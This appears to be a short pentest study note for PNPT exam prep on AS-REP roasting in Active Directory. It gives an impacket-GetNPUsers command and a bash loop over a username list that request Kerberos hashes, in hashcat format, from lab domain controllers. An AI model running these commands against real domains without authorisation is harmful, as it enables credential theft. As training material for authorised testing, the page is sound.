> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/initial-attack-strategy/as-rep-roasting.md).

# AS-REP Roasting

Find users using [Kerbrute](/active-directory/initial-attack-strategy/kerbrute.md) first then use that username to see if they need pre auth for a TGT

```bash
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.10.10.175  -format hashcat 
```

<figure><img src="/files/KX7Qw2tlVCDyqvmCeVLq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cpHzJdWEfyK0T67QOCjB" alt=""><figcaption></figcaption></figure>

One liner to automate using user list

```
for user in $(cat users.txt); do impacket-GetNPUsers megabank.LOCAL/$user -dc-ip 10.10.10.169 -format hashcat; done 
```